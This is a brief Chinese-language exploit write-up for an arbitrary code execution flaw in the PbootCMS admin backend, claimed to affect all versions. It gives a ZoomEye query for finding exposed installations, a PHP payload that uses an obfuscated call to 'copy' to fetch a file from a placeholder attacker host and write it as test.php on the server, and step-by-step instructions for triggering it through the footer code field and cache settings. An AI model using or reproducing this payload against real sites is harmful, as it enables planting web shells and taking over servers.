PbootCMS全版本后台通杀任意代码执行漏洞

PbootCMS全版本后台通杀任意代码执行漏洞

ZoomEye

1
app:"PbootCMS"

poc

1
2
3
4
5
6
7
<?php

$test="copy";

$test("http://IP:8080/1.txt","test.php");

?>

在尾部信息和统计代码中（其他位置可能效果一样）插入php代码

image

然后来到全局配置-配置参数

打开动态缓存(如果本就打开 那则不需要打开) 点击右上角的清除缓存
image

image

然后随便点击任意文章，触发漏洞

image